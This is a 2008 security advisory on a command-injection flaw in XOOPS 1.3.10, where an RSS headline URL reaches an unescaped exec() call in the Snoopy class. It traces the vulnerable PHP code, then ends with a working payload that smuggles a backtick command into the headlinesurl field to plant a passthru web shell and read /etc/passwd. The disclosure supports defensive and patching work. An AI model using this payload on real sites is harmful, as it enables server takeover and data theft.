== xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )
== Author: geinblues ( geinblues [at] gmail [dot] com ) DATE: 9.7.2008 Site: http://enterblue.net/~x90c/ Risk: Midium == [0] Vulnerability Tracing ( Tracing [BREAK 0] ~ [BREAK 6] ) ~/xoops-1.3.10/html/class/snoopy.class.php -------------------------------------------------------------------------------------------------------------------- function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") { .. /* [BREAK 5]: $URI(sourceURl in vulnerable Moudle) is Ours injected parameter From below fetch() */ $URI_PARTS = parse_url($URI); .. /* [BREAK 6]: $URI (vulerable parameter) If we can reach to below, Then We can execute system shell command */ exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." ".$URI,$results,$return); .. } function fetch($URI) { //preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS); $URI_PARTS = parse_url($URI); if (!empty($URI_PARTS["user"])) $this->user = $URI_PARTS["user"]; if (!empty($URI_PARTS["pass"])) $this->pass = $URI_PARTS["pass"]; switch($URI_PARTS["scheme"]) { case "http": .. case "https": /* [BREAK 3] sourceURl's first 5Bytes ( https in [BREAK 0] ) */ if(!$this->curl_path || (!is_executable($this->curl_path))) return false; $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_isproxy) { // using proxy, send entire URI $this->_httpsrequest($URI,$URI,$this->_httpmethod); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); /* [BREAK 4] _httpsrequest(.., $URI, ..); Here Our Supplied $URI(sourceURl) */ // no proxy, send only the path $this->_httpsrequest($path, $URI, $this->_httpmethod); } default: .. } return true; } -------------------------------------------------------------------------------------------------------------------- ~/xoops-1.3.10/class/phpsyndication.lib.php // | required: - PHP | // | - Snoopy (find it here: http://freshmeat.net/projects/snoopy) | /* [BREAK 1] We can supply parameter from RSS file into sourceUrl firstly */ class RSStoHTML { var $sourceUrl; // location of the source RSS file .. } /** * includes Snoopy class for remote file access */ require(XOOPS_ROOT_PATH."/class/snoopy.class.php"); .. function getData($forcecache=false) { if(_PHPSYNDICATION_CONNECTED && $forcecache != true && (!file_exists($this->cacheDir.$this->cacheFile) || (filemtime($this->cacheDir.$this->cacheFile) + $this->cacheTimeout - time()) < 0)) { $snoopy = new Snoopy; /* [BREAK 2] Here snoopy->fetch(sourceUrl from [BREAK 1]) member function calling */ $snoopy->fetch($this->sourceUrl); $data = $snoopy->results; $cacheFile = fopen($this->cacheDir.$this->cacheFile, "w"); fwrite($cacheFile, $data); fclose($cacheFile); } // fsockopen failed the last time, so force cache elseif ( $forcecache == true ) { if (file_exists($this->cacheDir.$this->cacheFile)) { $data = implode('', file($this->cacheDir.$this->cacheFile)); // set the modified time to a future time, and let the server have time to come up again touch($this->cacheDir.$this->cacheFile, time() + $this->cacheTimeout); } else { $data = ""; } } else { $data = implode('', file($this->cacheDir.$this->cacheFile)); } return $data; } function getHtml($fromcache=false) { $data = $this->getData($fromcache); .. function getTitle($fromcache=false) { $data = $this->getData($fromcache=false); -------------------------------------------------------------------------------------------------------------------- ~/xoops-1.3.10/html/modules/headlines/blocks/headlines.php <?php function b_headlines_show() { global $xoopsDB; $block = array(); $block['title'] = _MB_HEADLINES_TITLE; $block['content'] = ""; include(XOOPS_ROOT_PATH."/class/phpsyndication.lib.php"); $cache_dir = XOOPS_ROOT_PATH."/modules/headlines/cache/"; $cache_time = 3600; $max_items = 10; $result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, status FROM ".$xoopsDB->prefix("headlines")." WHERE status=1 OR status=2"); $xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=1 WHERE status=2"); while (list($hid, $sitename, $url, $headlinesurl, $status) = $xoopsDB->fetchRow($result)) { $cache_file = "newsheadline-$hid.cache"; $block['content'] .= "<p>"; // fsockopen was ok the last time, so do it again if ( $status == 2 ) { $synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, $cache_time, $max_items); $block['content'] .= "<b>".$synd->getTitle()."</b><br />"; $block['content'] .= $synd->getHtml(); } // fsockopen did not return on the last attempt, so use cache elseif ( $status == 1 ) { // change cache time to 1 day(24hrs) might be safer /* [BREAK 0] RSStoHTML called when using this headlines module */ $synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, 86400, $max_items); $block['content'] .= "<b>".$synd->getTitle(true)."</b><br />"; $block['content'] .= $synd->getHtml(true); } $block['content'] .= "</p>"; // set status to 2(ok) for headlines that passed fsockopen or used cache $xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=2 WHERE hid=$hid"); } return $block; } ?> [1] Exploitation: A. (*)INTO DB: headlinesurl(headlines module table's field) = https://;`echo '<?passthru($cmd)?>' >> xox.php` B. Browsing xoops pages for referencing headlines module ( at this time. our parameter reached to snoopy class's exec(??,$URI,??) ) C. IN WEB-BROWSER: http://victim/xoops-1.3.10/html/class/xox.php?cmd='cat /etc/passwd' TODO : http://www.xoops.org/modules/news/archive.php We can search more vulnerable modules else headlinesurl (default module) from above url.
